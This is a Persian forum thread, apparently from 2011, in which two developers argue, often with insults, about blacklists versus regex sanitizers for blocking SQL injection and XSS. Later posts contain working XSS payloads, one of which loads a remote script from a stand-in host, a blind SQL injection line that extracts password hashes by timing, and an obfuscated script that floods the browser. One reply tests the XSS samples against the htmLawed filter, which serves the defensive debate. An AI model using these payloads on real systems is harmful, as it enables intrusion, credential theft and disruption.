ضمنا با یه نگاه به قوی ترین نرم افزارهای فیلترسازی در اینمورد متوجه میشیم که هیچکدام چنین کاری نمیکنن. و هیچکدام یک بلک لیست ساده و کلی شامل اینهمه کاراکتر و کلمه ندارن. بلکه از رگولار اکسپرشن هایی استفاده میکنن که بررسی میکنن چه چیزهایی در چه جاهایی با چه الگویی که عملا بتونن موجب اجرا بشن وجود دارن. یک بلک لیست به تنهایی هیچ معنی و کاربردی نداره و اصلا عملی نیست (چون اونوقت باید بیشتر کلمات و علامتها رو حذف کنیم). رگولار اکسپرشن یک الگوی دقیق هست از اینکه فلان کاراکترها و کلمات با چه توالی ای درکجا با چه الگویی وجود دارن نه فقط یک لیست ساده از کلمات و کاراکترها.
تازه خیلی از همون کاراکترها و کلمه ها رو هم حذف نمیکنن، بلکه Escape کردن در خیلی موارد کفایت میکنه.
ولی هیچکس و هیچ نرم افزاری کلمه هایی مثل script, document, window یا حتی کاراکترهایی مثل کاما و سمیکالن رو Escape نمیکنه. اون چیزایی که نیاز هست در همه جا حذف یا Escape بشن کاراکترهای خاصی مثل علامت کوچکتر و بزرگتر هستن، چون اینها اگر اجرا نشن بقیهء چیزها هم خطری ندارن، و اگر اجرا بشن اونوقت تقریبا هرچیزی میتونه خطرناک باشه.

ضمنا من این حرفا رو بخاطر شما نمیزنم. بخاطر خودم هست و آگاهی دیگران. شما به تنهایی برای من هیچ اهمیتی ندارید. چه تمسخر کنید و چه نکنید واسه من هیچ فرقی نمیکنه.
من دنبال این هستم که از هرچیزی مطمئن بشم و چیزهای بیشتری یاد بگیرم. برای اینکه عملا دانش و توانایی داشته باشم. برام مهم نیست دو نفر یا صد نفر یا همه منو مسخره کنن و بگن بی سوادی، چون بهرصورت تاثیر عملی ای برای من نداره؛ نه پولی از جیبم کم میشه، نه سواد و توانایی من به حرف دیگران کم و زیاد میشه، نه جلوی تحقیق و اظهار نظرم گرفته میشه. این شمایید که از نظر روانی بچه موندید و غرور و جهل دارید و از حرف و نظر و مخالفت دیگران عصبانی میشید و براتون صرف حرف و نظر و رفتار دیگران در یک محیط مجازی اینقدر مهمه.
و هدف شما از فهم و درج سطحی و غیرتخصصی چنین مطالبی هم احتمالا جلب توجه دیگران و کسب اعتبار ظاهری است.
بنده هم اگر با اینطور چیزها که امثال شما ارائه میکنن کار دارم بخاطر جنبهء علمی و آموزشی اونه و بخاطر اینکه فضای تخصصی و ذهن دیگران رو منحرف میکنه و بنظرم یک متخصص وظیفه داره نسبت به این موارد در محیطهای تخصصی عکس العمل نشون بده. وگرنه برگ چغندر هم چیز خوبیه!!
هیچ مطلبی بدون سند و استدلال کافی یا اثبات عملی قابل قبول نیست، و کاری که شما کردید گذاشتن یک مطلب مبهم و ناقص و بدون هیچ سند و استدلال و اثبات عملی بود.

امیدوارم بجای رفتارهای بچه گانه و تمسخر دیگران و مطرح کردن ادعاهای نامربوط/برونی مثل عضو فلان تیم بودن بیاید و توضیح بیشتری روی مطلب خودتون بدید و بگید سند و استدلال و نمونه ای میتونید ارائه کنید یا خیر.
هرکس در هر سطحی نیاز هست وقتی مطلب ارائه میکنه این کار رو بکنه یا نسبت بهش این مسئولیت رو داشته باشه و اگر کسی درخواست کرد ارائه کنه. و هرکس در هر سطح و با هر سابقه ای ممکنه در هر موردی اشتباه کنه. این یه امر ثابت شده هست. پس اینکه شما واقعا سواد داشته باشید یا عضو فلان تیم باشید و غیره مشکلی رو در این زمینه حل نمیکنه و جایگزینی برای چیزهای دیگر نیست.
و اگر متوجه شدید که حق با دیگران هست و بقدر کافی نمیدونید و نمیتونید و مطمئن نیستید، اشتباه خودتون رو بپذیرید.

ضمنا حتی اینکه بنده با دیگران زیاد درگیر میشم و بعضی افراد صرف ظاهر این رو میخوان بعنوان عیب و جرم یا نشانهء ضعف معرفی کنن، بعکس بخاطر همین احساس مسئولیت و رویهء اصولی بنده هست و اینکه از رویارویی و روشن شدن واقعیت، حتی اگر نتیجهء اون روشن شدن بی سوادی یا اشتباه خودم بوده باشه، هراسی ندارم (و بنابراین بی پروا و بدون احتیاط در باب این احتمال پیش میرم). و امیدوارم ما همه همینطور باشیم. یعنی اینقدر قوی باشیم که احساسات کور و ضعفهای روانی رفتار ما رو کنترل و محدود نکنن و از روشن شدن واقعیت و ضعفهای احتمالی خودمون نترسیم.
بنده در اینجا از روشن شدن واقعیت، حتی فرضا کم سوادی یا اشتباه خودم، صدمه ای نمیخورم و از نظر روانی هم اینقدر کامل و قوی هستم که میتونم احساسات خودم در این زمینه رو فورا کنترل کنم. اما اگر متوجه اشتباه و ضعفهای خودم نشم تازه اونوقت هست که ضرر کردم، چون چیز بدرد بخوری بدست نیاوردم. اگر دیگران از من تعریف هم بکنن، این برای من نه پول میشه، نه علم، نه هیچ چیز دیگه؛ فقط یه احساسات کور و موقتی و ناپایدار و وابسته به عوامل خارجیه.

eshpilen
سه شنبه 01 شهریور 1390, 11:23 صبح
بازهم میگم که لیست سیاهی که شما گذاشتید بنظر من هیچ معنایی نداره.
هرچی فکر میکنم معنای خاصی نداره. اومدید هرچی کلمات کلیدی و کاراکتر و علامت بوده هرجایی که در کوئری های SQL یا جای دیگه بکار میرن رو گذاشتید توی بلک لیست (که طبیعتا بیشتر اونا کاراکترها و کلمات کاملا عادی و ضروری زبان انگلیسی هستن). خب ببخشید بعد ما باید چکار کنیم مثلا؟! یه نمونه از کاربرد لیست خودتون رو ارائه بدید و بگید دقیقا باید با کدام فیلد و دیتا چه کار کنیم تا بررسیش کنیم.
شما که میگید ما نمیفهمیم، خب حتی یک مثال عملی کامل براش نمیتونید بیارید؟
منبع و سند هم هیچی.
کلا باد هوا!!

بنظرم بد نباشه مقایسه ای بکنیم با HTML.
فرضا ما در HTML هم حملهء XSS رو داریم.
حالا ما اگر بخوایم این موضوع رو با بلک لیست شما قیاس کنیم باید بیایم بخاطر جلوگیری از XSS علاوه بر تگ script، تمام کاراکترها و کلمات کلیدی جاوااسکریپت رو بذاریم توی بلک لیست. طبیعتا این لیست مشتمل بر کلی از کاراکترها و کلمات عادی زبان انگلیسی خواهد شد، چون بیشتر زبانهای برنامه نویسی از کاراکترها و کلمات عادی زبان استفاده میکنن. بطور مثال ما باید در متن هرجایی alert دیدم حذف کنیم، درحالیکه به معنای هشدار و گوش بزنگ بودن و غیره هست. باید کلمهء document رو هم که به معنی سند هست حذف کنیم. باید window به معنی پنجره رو هم حذف کنیم. و غیره و غیره.
اما این سوال پیش میاد که خب بعد با این بلک لیست چکار کنیم؟ کجا چطور بکار میره؟ این سوالی هست که شما هیچوقت درمورد بلک لیست خودتون جوابی بهش ندادید.

ضمنا با یه نگاه به قوی ترین نرم افزارهای فیلترسازی در اینمورد متوجه میشیم که هیچکدام چنین کاری نمیکنن. و هیچکدام یک بلک لیست ساده و کلی شامل اینهمه کاراکتر و کلمه ندارن. بلکه از رگولار اکسپرشن هایی استفاده میکنن که بررسی میکنن چه چیزهایی در چه جاهایی با چه الگویی که عملا بتونن موجب اجرا بشن وجود دارن. یک بلک لیست به تنهایی هیچ معنی و کاربردی نداره و اصلا عملی نیست (چون اونوقت باید بیشتر کلمات و علامتها رو حذف کنیم). رگولار اکسپرشن یک الگوی دقیق هست از اینکه فلان کاراکترها و کلمات با چه توالی ای درکجا با چه الگویی وجود دارن نه فقط یک لیست ساده از کلمات و کاراکترها.
تازه خیلی از همون کاراکترها و کلمه ها رو هم حذف نمیکنن، بلکه Escape کردن در خیلی موارد کفایت میکنه.
ولی هیچکس و هیچ نرم افزاری کلمه هایی مثل script, document, window یا حتی کاراکترهایی مثل کاما و سمیکالن رو Escape نمیکنه. اون چیزایی که نیاز هست در همه جا حذف یا Escape بشن کاراکترهای خاصی مثل علامت کوچکتر و بزرگتر هستن، چون اینها اگر اجرا نشن بقیهء چیزها هم خطری ندارن، و اگر اجرا بشن اونوقت تقریبا هرچیزی میتونه خطرناک باشه.

ضمنا من این حرفا رو بخاطر شما نمیزنم. بخاطر خودم هست و آگاهی دیگران. شما به تنهایی برای من هیچ اهمیتی ندارید. چه تمسخر کنید و چه نکنید واسه من هیچ فرقی نمیکنه.
من دنبال این هستم که از هرچیزی مطمئن بشم و چیزهای بیشتری یاد بگیرم. برای اینکه عملا دانش و توانایی داشته باشم. برام مهم نیست دو نفر یا صد نفر یا همه منو مسخره کنن و بگن بی سوادی، چون بهرصورت تاثیر عملی ای برای من نداره؛ نه پولی از جیبم کم میشه، نه سواد و توانایی من به حرف دیگران کم و زیاد میشه، نه جلوی تحقیق و اظهار نظرم گرفته میشه. این شمایید که از نظر روانی بچه موندید و غرور و جهل دارید و از حرف و نظر و مخالفت دیگران عصبانی میشید و براتون صرف حرف و نظر و رفتار دیگران در یک محیط مجازی اینقدر مهمه.
و هدف شما از فهم و درج سطحی و غیرتخصصی چنین مطالبی هم احتمالا جلب توجه دیگران و کسب اعتبار ظاهری است.
بنده هم اگر با اینطور چیزها که امثال شما ارائه میکنن کار دارم بخاطر جنبهء علمی و آموزشی اونه و بخاطر اینکه فضای تخصصی و ذهن دیگران رو منحرف میکنه و بنظرم یک متخصص وظیفه داره نسبت به این موارد در محیطهای تخصصی عکس العمل نشون بده. وگرنه برگ چغندر هم چیز خوبیه!!
هیچ مطلبی بدون سند و استدلال کافی یا اثبات عملی قابل قبول نیست، و کاری که شما کردید گذاشتن یک مطلب مبهم و ناقص و بدون هیچ سند و استدلال و اثبات عملی بود.

امیدوارم بجای رفتارهای بچه گانه و تمسخر دیگران و مطرح کردن ادعاهای نامربوط/برونی مثل عضو فلان تیم بودن بیاید و توضیح بیشتری روی مطلب خودتون بدید و بگید سند و استدلال و نمونه ای میتونید ارائه کنید یا خیر.
هرکس در هر سطحی نیاز هست وقتی مطلب ارائه میکنه این کار رو بکنه یا نسبت بهش این مسئولیت رو داشته باشه و اگر کسی درخواست کرد ارائه کنه. و هرکس در هر سطح و با هر سابقه ای ممکنه در هر موردی اشتباه کنه. این یه امر ثابت شده هست. پس اینکه شما واقعا سواد داشته باشید یا عضو فلان تیم باشید و غیره مشکلی رو در این زمینه حل نمیکنه و جایگزینی برای چیزهای دیگر نیست.
و اگر متوجه شدید که حق با دیگران هست و بقدر کافی نمیدونید و نمیتونید و مطمئن نیستید، اشتباه خودتون رو بپذیرید.

ضمنا حتی اینکه بنده با دیگران زیاد درگیر میشم و بعضی افراد صرف ظاهر این رو میخوان بعنوان عیب و جرم یا نشانهء ضعف معرفی کنن، بعکس بخاطر همین احساس مسئولیت و رویهء اصولی بنده هست و اینکه از رویارویی و روشن شدن واقعیت، حتی اگر نتیجهء اون روشن شدن بی سوادی یا اشتباه خودم بوده باشه، هراسی ندارم (و بنابراین بی پروا و بدون احتیاط در باب این احتمال پیش میرم). و امیدوارم ما همه همینطور باشیم. یعنی اینقدر قوی باشیم که احساسات کور و ضعفهای روانی رفتار ما رو کنترل و محدود نکنن و از روشن شدن واقعیت و ضعفهای احتمالی خودمون نترسیم.
بنده در اینجا از روشن شدن واقعیت، حتی فرضا کم سوادی یا اشتباه خودم، صدمه ای نمیخورم و از نظر روانی هم اینقدر کامل و قوی هستم که میتونم احساسات خودم در این زمینه رو فورا کنترل کنم. اما اگر متوجه اشتباه و ضعفهای خودم نشم تازه اونوقت هست که ضرر کردم، چون چیز بدرد بخوری بدست نیاوردم. اگر دیگران از من تعریف هم بکنن، این برای من نه پول میشه، نه علم، نه هیچ چیز دیگه؛ فقط یه احساسات کور و موقتی و ناپایدار و وابسته به عوامل خارجیه.

ضمنا بنده اینجا بیزینس و تبلیغ تجاری هم نمیکنم. فرضا مثل بعضیا کلاس خصوصی نمیذارم و درآمدی ندارم که درصورت لطمه خوردن به اعتبار مجازیم دچار خطر بشه. هیچوقت مشخصات واقعی خودم رو هم افشا نکردم که اطلاعات و برداشت دیگران از هویت مجازی من، امکان تاثیر در دنیای فیزیکی رو به هر شکلی داشته باشه.
میبینید که اون افراد اصلا در این بحثها شرکت نمیکنن. حالا یا وقتش رو ندارن و مشغول کار و تجارت و پول درآوردن هستن یا نمیخوان در چنین مواردی ریسک بکنن و به اعتبار تخصص شغلیشون لطمه بخوره.
البته بنده نمیخوام بگم این کارها درست نیست یا اون افراد مشکلی دارن، فقط خواستم بگم بنده چون منافع و وابستگی ای به هیچ چیزی ندارم، صرفا دنبال یادگیری و روشن شدن حقیقت در هر موردی هستم.
وقتی احساسات کودکانه بر شما تسلط داشته باشن، وقتی از نظر روانی قوی نباشید، وقتی به نظر و پذیرش دیگران وابسته باشید، اونوقت نمیتونید بقدر کافی صادق و منصف باشید. وقتی منافع مادی داشته باشید هم معمولا نمیتونید (فقط آدمهای خیلی قوی میتونن).

Net So
سه شنبه 01 شهریور 1390, 13:44 عصر
lol :قهقهه::قهقهه::قهقهه::قهقهه:: شویق::تشویق::تشویق::تشویق::ت ویق::تشویق::تشویق::تشویق::تش یق:
حوصله خوندن این داستان هایی که نوشتی رو ندارم. وقتی معنی Lamer رو نمیدونی به کارش نبر. چون کاربردش میشه صرف برای خودت. حالا خوبه تو همین انجمن چندتا کماربر دیگه به فهم پایینت پی بردن.
فرافکنی و شانتاژ رو هم تو انجام میدی که تو 3 صفحه فقط پست دادی.

هنوز اسم تاپیک رو نخوندی. فارسی بلد نیستی ؟ . دوستمون یه تابع میخواست برای ms که چون mysql_escape_string یا real ش کاربردی نداره باید از blacklist استفاده کنه نه لیست سفید. اومدیم و خواست تو txt editor یا commenting ازش استفاده کنه. باید لیست سفید بزاره ؟ lol با همین key ها میتونه راحت از هر نوع Sqlinj ای که تصورش رو بکنی درامان بمونه. البته حق داری نفهمی . چون n تا متود bypass هست که تو خواب شاید ببینی . من برای 2 تا بانک و 18 تا موسسه و 19 تا دانشگاه تو ایران تست نفوذپذیری انجام دادم و با 3 تا تیم امنیتی کار میکنم.
پس دیگه تو به من نگو چی درسته چی غلط . با این حال هیچ ادعایی ندارم و مطمئنا خیلی ها از من با سواد ترن. ولی وقتی میگم من جلوی خیلی ها بیسوادم ، یعنی تو دیگه اندازه پشمک و آبنبات هم سواد نداری.ااینو گفتم جوگیر نشی:قهقهه::قهقهه::قهقهه:


درصورتیکه بنده ادعای خاصی نکردم
3 صفحه داستان گفتی و شانتاژ کردی و خواستی بگی آره منم هستم ... :قهقهه::قهقهه:


منبع و سند هم هیچی.lol - متود های بایپس ، مجله و کتاب نیست Ref داشته باشن lol

کلا باد هوا!! بازم از خودت بگو


اما این سوال پیش میاد که خب بعد با این بلک لیست چکار کنیم؟ کجا چطور بکار میره؟ این سوالی هست که شما هیچوقت درمورد بلک لیست خودتون جوابی بهش ندادید.این بستگی به برنامه نویس (نه lamer ) داره. میتونه Escape کنه. میتونه برای سیستمش یه UTM تحت وب بنویسه که تو ایران یکی 2 بار بیشتر انجام نشده و به ذهن خیلی ها نرسیده. میتونه Attack Detection کنه و بعد یه operation دفاعی رو اجرا کنه. مثلا اگه سیستم مازولار باشه ، میتونه دیتکت کنه که به کدوم ماژول حمله شده و بعد Block کنه ماژول رو برای اون ip . میتونه این کرکتر ها رو Escape کنه. اینطوری دیگه حذف نمیشن . موقع رفتن به Db کرکتر ها رو یه پیشوند بهش اضافه کنه » مثلا !# و موقع خوندن هم پیشوند رو برداره (چون unique هست دیگه با کرکتر های دیگه اشتباه نمیشه.) میتونه حذف کنه و ... Black لیست رو همه جای دنیا قبول دارن. از InterN0T که عمرا اسمش به گوشت خورده باشه تا Core Impact ... که تو Res های PN Testing خودشون به عنوان sul و راه حل معرفی میکنن.



نزن آقا نزن چرا دارید و چش و چار همدیگه رو در میارید ول کن یقشو نکن ااااااااااااااااااا زشته خوبیت نداره
2 تا برنامه نویس که با هم دعوا نمی کنند
به جای این دعوا ها می گفتین طرز کاربردش چجوری می شه اونم راهنماییتون می کرد اینقدر که دعوا نداشت........................................ ...... اهمیتی نداره. 2 تا کتاب از wrox و Apress خونده ، 4 تا ویکی گذاشته تنگش شده برنامه نویس !!! به خدا 7 - 6 سال یش این واژه اینقدر بدبخت نبود که امثال این آقا اسمش رو بزاره برنامه نویس...:متفکر::متفکر::متفکر::م تفکر:

Net So
سه شنبه 01 شهریور 1390, 14:35 عصر
در مورد Xss هم شما بیا تگ ها رو با Strip یا هر چیز دیگه ای به جز black لیست ببند من میام اینطوری inject میکنم. خیلی دوستدارم بدونم با 4 تا تابع php و بدون blacklist چه طوری میخوای جلوی اینو بگیری ؟ وقتی میگم هنوز هیچی از ّرنامه نویسی نمیدونی توهین نیست ... خیلی متد ها هست که منطقا نباید باشه ، ولی هست ...


<input type=submit onclick="alert(0);" />
<img src="salam" onerror="alert(0);" />
<input type=submit onmouseover="alert(0);" />
<IMG SRC="hey" onerror='var e=document.createElement("script");e.src="http://www.example.com/xss.js"; document.getElementsByTagName("head")[0].appendChild(e);' />
<img src="salam" onerror="alert(0);" />

eshpilen
سه شنبه 01 شهریور 1390, 16:04 عصر
lol :قهقهه::قهقهه::قهقهه::قهقهه:: شویق::تشویق::تشویق::تشویق::ت ویق::تشویق::تشویق::تشویق::تش یق:
حوصله خوندن این داستان هایی که نوشتی رو ندارم. وقتی معنی Lamer رو نمیدونی به کارش نبر. چون کاربردش میشه صرف برای خودت. حالا خوبه تو همین انجمن چندتا کماربر دیگه به فهم پایینت پی بردن.
فرافکنی و شانتاژ رو هم تو انجام میدی که تو 3 صفحه فقط پست دادی.

شرمنده شکلک خمیازه نداشت اینجا.
البته شکلک زیاد و تکراری زدن جز نشت احساسات شدید که طرف نمیتونه کنترلشون کنه چیزی رو نشون نمیده. یجورایی مثل اینه که طرف میخواد با مشت بزنه توی دهن طرف مقابل و زیر مشت و لگد لهش کنه، ولی چون خوشبختانه دستش به طرف نمیرسه بجای هر مشت و لگد یه شکلک تمسخرآمیز میزنه به این امید که طرف به ازای هر شکلک دچار یک تمسخر و تحقیر بیشتر بشه!!
مثل اینکه از نظر منطق و صحبت کم آوری و رفتی به سمت جنگ احساسی با شکلک :قهقهه:
بقول معروف میگن پیش قاضی و معلق بازی.
همیشه مواظب طرفت باش.


هنوز اسم تاپیک رو نخوندی. فارسی بلد نیستی ؟ . دوستمون یه تابع میخواست برای ms که چون mysql_escape_string یا real ش کاربردی نداره باید از blacklist استفاده کنه نه لیست سفید.
اومدیم و خواست تو txt editor یا commenting ازش استفاده کنه. باید لیست سفید بزاره ؟ lol با همین key ها میتونه راحت از هر نوع Sqlinj ای که تصورش رو بکنی درامان بمونه.

بلک لیست هم باشه، این کاملا غیرمنطقی بنظر میاد که کلماتی مثل and و نمیدونم information و غیره رو بلاک کنیم. اینطور بلک لیست ها دارن میگن که کاملا کورکورانه درست شدن. چون شما اگر موارد اصلی رو بلاک یا Escape کنی کلمات به این سادگی هیچ خطری ندارن.
ضمنا اینهمه علامت و کلمهء انگلیسی متداول که گذاشتی فکر نمیکنی برای کامنت محدودیت بیش از حد ایجاد میکنن؟ و ببخشید جاهای دیگه چطور سیستمی پیاده کردن و چطور کامنت میذارن که اینطور چیزها رو بلاک نمیکنه؟ آیا در سایتهای معروف و حتی سایت خود میکروسافت این کلمات و علامتها بلاک میشن؟


البته حق داری نفهمی . چون n تا متود bypass هست که تو خواب شاید ببینی . من برای 2 تا بانک و 18 تا موسسه و 19 تا دانشگاه تو ایران تست نفوذپذیری انجام دادم و با 3 تا تیم امنیتی کار میکنم.
ادعای صرف. مثل اینکه ادعای بدون سند کردن و از دیگران انتظار پذیرش داشتن عادت شماست.
حالا ما چیکار کنیم؟ باور کنیم؟
ضمنا فرضا این ادعاها رو ثابت هم کردی، بعدش ما باید صرفا بر این مبنا مطالب شما رو دربست قبول کنیم و فکر کنیم ممکن نیست اشتباه کنی؟ هرچقدر هم که گنده باشی آدمهای گنده تر از تو هم حتی گاهی در مسائل ساده اشتباه کردن. حتی انیشتین هم اشتباه کرده. پس این حرفا بدرد هیچکس نمیخوره. بهتره حرف بیهوده نزنی و ببینی با اینهمه سواد از پس همین یه چیز و بحث با من برمیای یا نه.




lol - متود های بایپس ، مجله و کتاب نیست Ref داشته باشن lol

کلا باد هوا!! بازم از خودت بگو
خب بقول شما منبع که نداره. اثباتی هم که ارائه نمیکنی.
بعد حالا بقیه باید صرفا بر اساس ادعای شما اون رو قبول و استفاده کنن؟
شما بگو چیکار کنن.
اینطوری که هرکس میتونه مدعی هرچیزی بشه. منم میتونم یه بلک لیست از خودم درست کنم و بگم منبع نداره و من عضو تیم برنامه نویسی میکروسافت و ناسا هستم.


این بستگی به برنامه نویس (نه lamer ) داره. میتونه Escape کنه. میتونه برای سیستمش یه UTM تحت وب بنویسه که تو ایران یکی 2 بار بیشتر انجام نشده و به ذهن خیلی ها نرسیده. میتونه Attack Detection کنه و بعد یه operation دفاعی رو اجرا کنه. مثلا اگه سیستم مازولار باشه ، میتونه دیتکت کنه که به کدوم ماژول حمله شده و بعد Block کنه ماژول رو برای اون ip . میتونه این کرکتر ها رو Escape کنه. اینطوری دیگه حذف نمیشن . موقع رفتن به Db کرکتر ها رو یه پیشوند بهش اضافه کنه » مثلا !# و موقع خوندن هم پیشوند رو برداره (چون unique هست دیگه با کرکتر های دیگه اشتباه نمیشه.) میتونه حذف کنه و ... Black لیست رو همه جای دنیا قبول دارن. از InterN0T که عمرا اسمش به گوشت خورده باشه تا Core Impact ... که تو Res های PN Testing خودشون به عنوان sul و راه حل معرفی میکنن.
واقعا بنظر شما کلماتی مثل and رو باید حذف یا Escape کرد؟ (راستی and رو چطوری Escape کنیم؟)
یا صرفا با یک بلک لیست مثل اونی که شما درست کردی میشه Attack Detection کرد که False positive زیادی نداشته باشه؟
ضمنا بازم میگم که بنظر بنده خیلی از کلماتی که شما توی بلک لیست گذاشتی کاملا بی خطر هستن. مشکل سر یکسری کاراکترها و عبارت های خاص هست که اگر اونا غیرفعال بشن بقیه هیچ خطری ندارن.
روشهای Attack Detection و اینا هم بنظرم هوشمندتر و پیچیده تر از این حرفا هستن و یا مطلب شما ناقص بوده که صرفا یک بلک لیست از کل یک الگوریتم رو گذاشتید یا اصلا در این زمینه کارایی نداره.

ضمنا درمورد ادعای خودتون درمورد Mysql_real_escape_string هم توضیح بدید. اینکه دیگه MSSQL نیست. بنده خودم هم درمورد MSSQL تخصص و تجربه ندارم که خیلی وارد جزییات بشم و قطعی حرف بزنم. ولی درمورد MySQL قضیه فرق میکنه.
شما فرمودید MySQL یک دیتابیس کامل داره و پشت صحنه مشابه همین کارها رو انجام میده (یعنی شبیه بلک لیست و روشهایی که شما میگید). درحالیکه نه تست و نه رفرنس رسمی هیچکدام حاکی از این نیستن.
امیدوارم نفرمایید که اینم رفرنس نداره یا نمیشه به هیچ صورتی تست کرد و ما همینطوری روی هوا باید حرف شما رو باور کنیم. بعدم باید پرسید که شما خودت از کجا به این مطلب رسیدی و مطمئن شدی؟ همینطوری روی هوا؟!

eshpilen
سه شنبه 01 شهریور 1390, 16:12 عصر
در مورد Xss هم شما بیا تگ ها رو با Strip یا هر چیز دیگه ای به جز black لیست ببند من میام اینطوری inject میکنم. خیلی دوستدارم بدونم با 4 تا تابع php و بدون blacklist چه طوری میخوای جلوی اینو بگیری ؟ وقتی میگم هنوز هیچی از ّرنامه نویسی نمیدونی توهین نیست ... خیلی متد ها هست که منطقا نباید باشه ، ولی هست ...


<input type=submit onclick="alert(0);" />
<img src="salam" onerror="alert(0);" />
<input type=submit onmouseover="alert(0);" />
<IMG SRC="hey" onerror='var e=document.createElement("script");e.src="http://www.example.com/xss.js"; document.getElementsByTagName("head")[0].appendChild(e);' />
<img src="salam" onerror="alert(0);" />



اتفاقا تازگی در تاپیک دیگه درمورد XSS بحث بود و بنده تحقیق کردم و برنامه ای بنام htmLawed پیدا کردم که تمام این موارد رو پوشش میده. بهرصورت اونم با رگولار اکسپرشن کار میکنه و الگوریتم مفصل داره، نه اینکه یه بلک لیست ساده بذاری و سایهء کلمات و کاراکترهای خاصی رو هم دیدی بلاک کنی یا Escape کنی و غیره.
بله اینطور موارد پیچیده هست و خیلی روشها و حتی باگهای مرورگرها وجود دارن که منم همش رو نمیدونم، ولی در اینطور موارد از برنامه های حرفه ای کامل استفاده میکنم که خیلی مفصل تر و هوشمندتر و مطمئن تر از این هستن که یکی یه بلک لیست بذاره یجا و ما اون رو برداریم و با چند خط کد از خودمون سر و تهش رو هم بیاریم. این روشهای ساده در عین اینکه بیش از حد محدودیت زا و مشکل زا هستن اصلا اطمینان کافی هم بهشون نیست که تمام موارد رو پوشش بدن. شما همون داکیومنت های htmLawed رو کمی بررسی کنی میبینی که چیزهایی خیلی بیش از آیتم های یک بلک لیست حتی ظاهرا بزرگ رو دربرمیگیره.

Net So
سه شنبه 01 شهریور 1390, 16:38 عصر
من نه احساساتی میشم نه چیز دیگه ای. بحث رو هم عوض نکن. گفتی با این بلک لیست چی کار کنیم من هم جوابت رو دادم.
بالاتر هم گفتم که موقع رفتن به Db کرکتر ها رو یه پیشوند بهش اضافه کنه » مثلا !# و موقع خوندن هم پیشوند رو برداره (چون unique هست دیگه با کرکتر های دیگه اشتباه نمیشه.) میتونه حذف کنه و ...
and هم تو Blind Sql Injection استفاده میشه اکثرا :
and if(ascii(substring((select cinereshop_users.encrypted_password from shop.cinereshop_users Order by encrypted_password limit 2,1),3,1))=50,BENCHMARK(9877436,MD5(0x41)),0)


روشهای Attack Detection و اینا هم بنظرم هوشمندتر و پیچیده تر از این حرفا هستن و یا مطلب شما ناقص بوده که صرفا یک بلک لیست از کل یک الگوریتم رو گذاشتید یا اصلا در این زمینه کارایی نداره.
به بار دیگه پست من رو بحون. من گفتم این سورس کد یه utm هست ؟ گفتم میتونه از اینا استفاده کنه. پیچیدگی تو الگوریتم به معنای پیچیدگی تو تک تک جزء ها نیست.


کلماتی مثل and و نمیدونم information
خوب نمیدونی دیگه. information رو به خاطر information_schema استفاده میکنیم. الان میگی پس چرا جدا استفاده کردی ؟ چون این : information_%00schema با این information_%00schema فرقی نداره و برای Detect کردنش ، دیگه از یه الگوی ثابت نمیشه استفاده کرد. یا حتی از اون هم فراتر ، وقتی رو Layer 7 داری برنامه مینویسی ، و به فیلترینگ سرور اعتماد داری و تمامی Request ها از Gate سرور رد میشن و توسط خیلی از FilterSec ها مثل mod_Sec و .. فیلتر میشن ، میشه کاری کرد که توسط همین فیلتر ها ، کلمه عوض بشه (null char inj) و سرور نادیده بگیره. اونوقت app میته terminate کنه برنامه رو .



آیا در سایتهای معروف و حتی سایت خود میکروسافت این کلمات و علامتها بلاک میشن
مایکروسافت تا حالا n بار هک شده :D
ms مقدونیه هم توسط یکی از بچه ها حدود 3 هفته پیش زده شد. خیلی از سایت هایی که مثل تو فکر میکردن هم Sqli میدن :
fox
sony
facebook
و ...

eshpilen
سه شنبه 01 شهریور 1390, 16:52 عصر
گفتم یه تست هم با htmLawed انجام بدم.
TESTCASE شما رو توش گذاشتم، و البته اولش چنتا از اون کلمات و کاراکترهای خطرناک رو به تنهایی اضافه کردم تا ببینم چی میشه!


<?php

header('Content-type: text/plain');

$str='onerror e=document.createElement("script"); alert onclick " \'
<input type=submit onclick="alert(0);" />
<img src="salam" onerror="alert(0);" />
<input type=submit onmouseover="alert(0);" />
<IMG SRC="hey" onerror=\'var e=document.createElement("script");e.src="http://www.example.com/xss.js"; document.getElementsByTagName("head")[0].appendChild(e);\' />
<img src="salam" onerror="alert(0);" />';

include_once('./htmLawed.php');
echo "Filtered:\n", htmLawed($str, array('safe'=>1));

?>

خروجی فیلتر شده:

onerror e=document.createElement("script"); alert onclick " '
<input type="submit" />
<img src="salam" alt="image" />
<input type="submit" />
<img src="hey" alt="image" />
<img src="salam" alt="image" />همونطور که میبینید، تمام موارد خطرناک رو شناسایی و حذف کرده.
اما در عین حال همون کلمات و کاراکترها رو وقتی درجایی نیستن که بتونن اجرا بشن بدون تغییر به خروجی فرستاده. حتی Escape هم نشدن.
اینطور برنامه ها از رگولار اکسپرشن و الگوریتم های هوشمند و کامل استفاده میکنن، نه اینکه یه بلک لیست درست کنیم و هرچیزی رو که بهش برمیخوریم حذف یا Escape کنیم.

Net So
سه شنبه 01 شهریور 1390, 16:55 عصر
اینو تست کن تو هر جایی دوست داری با Ff
<STYLE TYPE="text/css">
<!--
H2
{
color:green;
font-size:80pt;
font-style:italic;
}
-->
</STYLE>
<script type="text/javascript">
String.prototype.repeat = function( num )
{return new Array( num + 1 ).join( this );}
var i=0;
var r=Math.floor(Math.random()*99999)*9*8*9*9*9*9*9*9* 9/9*9;
var bib=String.fromCharCode(60, 72, 50, 62, 60, 77, 65, 82, 81, 85,
69, 69, 32, 87, 73, 68, 84, 72, 61, 49, 48, 48, 37, 32, 66, 69, 72,
65, 86, 73, 79, 82, 61, 83, 67, 82, 79, 76, 76, 32, 68, 73, 82, 69,
67, 84, 73, 79, 78, 61, 82, 73, 71, 72, 84, 32, 66, 71, 67, 111, 108,
111, 114, 61, 121, 101, 108, 108, 111, 119, 62, 60, 105, 110, 112,
117, 116, 32, 116, 121, 112, 101, 61, 115, 117, 98, 109, 105, 116,
32, 118, 97, 108, 117, 101, 61)+r+String.fromCharCode(32, 115, 116
, 121, 108, 101, 61, 34, 98, 97, 99, 107, 103, 114, 111, 117, 110,
100, 45, 99, 111, 108, 111, 114, 58, 98, 108, 97, 99, 107, 34, 32,
62, 60, 47, 77, 65, 82, 81, 85, 69, 69, 62, 60, 47, 72, 50, 62);
document.write(bib.repeat(99999));
</script>

PHPIDS هم از بلک لیست استفاده میکنه و n تا برنامه هم باهاش نوشته شده. اگه درک اینو نداری که بفهمی ، دیگه خودتو دکتر نشون بده و در اون صورت من حرفی ندارم باهات .

eshpilen
سه شنبه 01 شهریور 1390, 17:02 عصر
خب این چیه عزیزم؟ قراره اینو همینطوری بدیم تحویل مرورگر که اجرا کنه؟!!
